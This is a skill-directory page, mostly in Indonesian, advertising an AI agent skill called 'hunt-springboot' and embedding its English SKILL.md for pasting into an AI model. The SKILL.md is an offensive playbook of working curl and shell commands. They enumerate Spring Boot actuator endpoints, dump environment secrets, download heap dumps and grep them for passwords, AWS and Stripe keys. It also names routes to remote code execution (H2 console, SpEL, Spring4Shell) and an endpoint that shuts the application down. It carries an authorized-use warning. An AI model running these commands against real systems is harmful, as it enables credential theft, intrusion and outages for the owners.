Langsung ke konten
Skillpedia
Keamanan48k Β· #4903

hunt-springboot

Fungsinya

Tool ini membantu menemukan celah keamanan tertentu pada aplikasi yang dibangun dengan Spring Boot. Tool ini mencari informasi sensitif yang terekspos dan cara untuk menjalankan perintah secara remote.

Kapan dipakai

  • βœ“Saat menguji keamanan aplikasi Spring Boot.
  • βœ“Untuk memeriksa apakah rahasia seperti password pernah terekspos.
  • βœ“Untuk mengidentifikasi kerentanan yang sudah diketahui pada aplikasi Spring Boot.

Link skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œPindai aplikasi di https://example.com untuk mencari kerentanan Spring Boot yang sudah diketahui.”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Tool ini mencoba mengakses path umum pada aplikasi Spring Boot yang mungkin membocorkan data sensitif atau memungkinkan eksekusi perintah. Tool ini memeriksa endpoint seperti '/actuator/heapdump' dan '/actuator/env' untuk menemukan informasi rahasia.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-SPRINGBOOT β€” Spring Boot Specific Vulnerabilities

Crown Jewel Targets

Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.

Highest-value findings:

  • /actuator/heapdump β€” full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
  • /actuator/env β€” lists all environment variables and Spring properties including secrets
  • /actuator/shutdown β€” POST β†’ shuts down the application (Critical availability impact)
  • H2 Console (/h2-console) β€” in-memory DB admin UI β†’ SQL query execution β†’ potential RCE via CREATE ALIAS trick
  • SpEL injection β€” Spring Expression Language in template fields, @Value annotations, SpEL-processed request params β†’ RCE
  • Spring4Shell CVE-2022-22965 β€” Spring Framework < 5.3.18 + Tomcat β†’ RCE via data binding

Phase 1 β€” Fingerprint Spring Boot

# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

Phase 2 β€” Actuator Endpoint Enumeration

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone β€” Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

Phase 3 β€” Heap Dump Analysis

# Download heap dump (can be large β€” 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file β€” use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys

…
Pertanyaan umum

Apa itu 'endpoint' di Spring Boot?

Endpoint adalah path (URL) di aplikasi yang menyediakan informasi atau fungsi. Di Spring Boot, beberapa endpoint, seperti yang ada di 'actuator', bisa membocorkan data internal jika tidak diamankan dengan benar.

Apa itu 'heap dump'?

Heap dump adalah 'snapshot' memori program saat sedang berjalan. Isinya bisa mencakup informasi sensitif seperti password, API key, dan token yang ada di memori saat snapshot diambil.

Apa arti 'RCE'?

RCE adalah singkatan dari 'Remote Code Execution'. Ini adalah kerentanan serius yang memungkinkan penyerang menjalankan perintah di server tempat aplikasi berjalan.

Detail

Deskripsi asli dari pembuat

Hunt Spring Boot specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularitas

Bintang GitHub
48k
Peringkat
#4903
Lisensi
MIT
Diperbarui
15/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa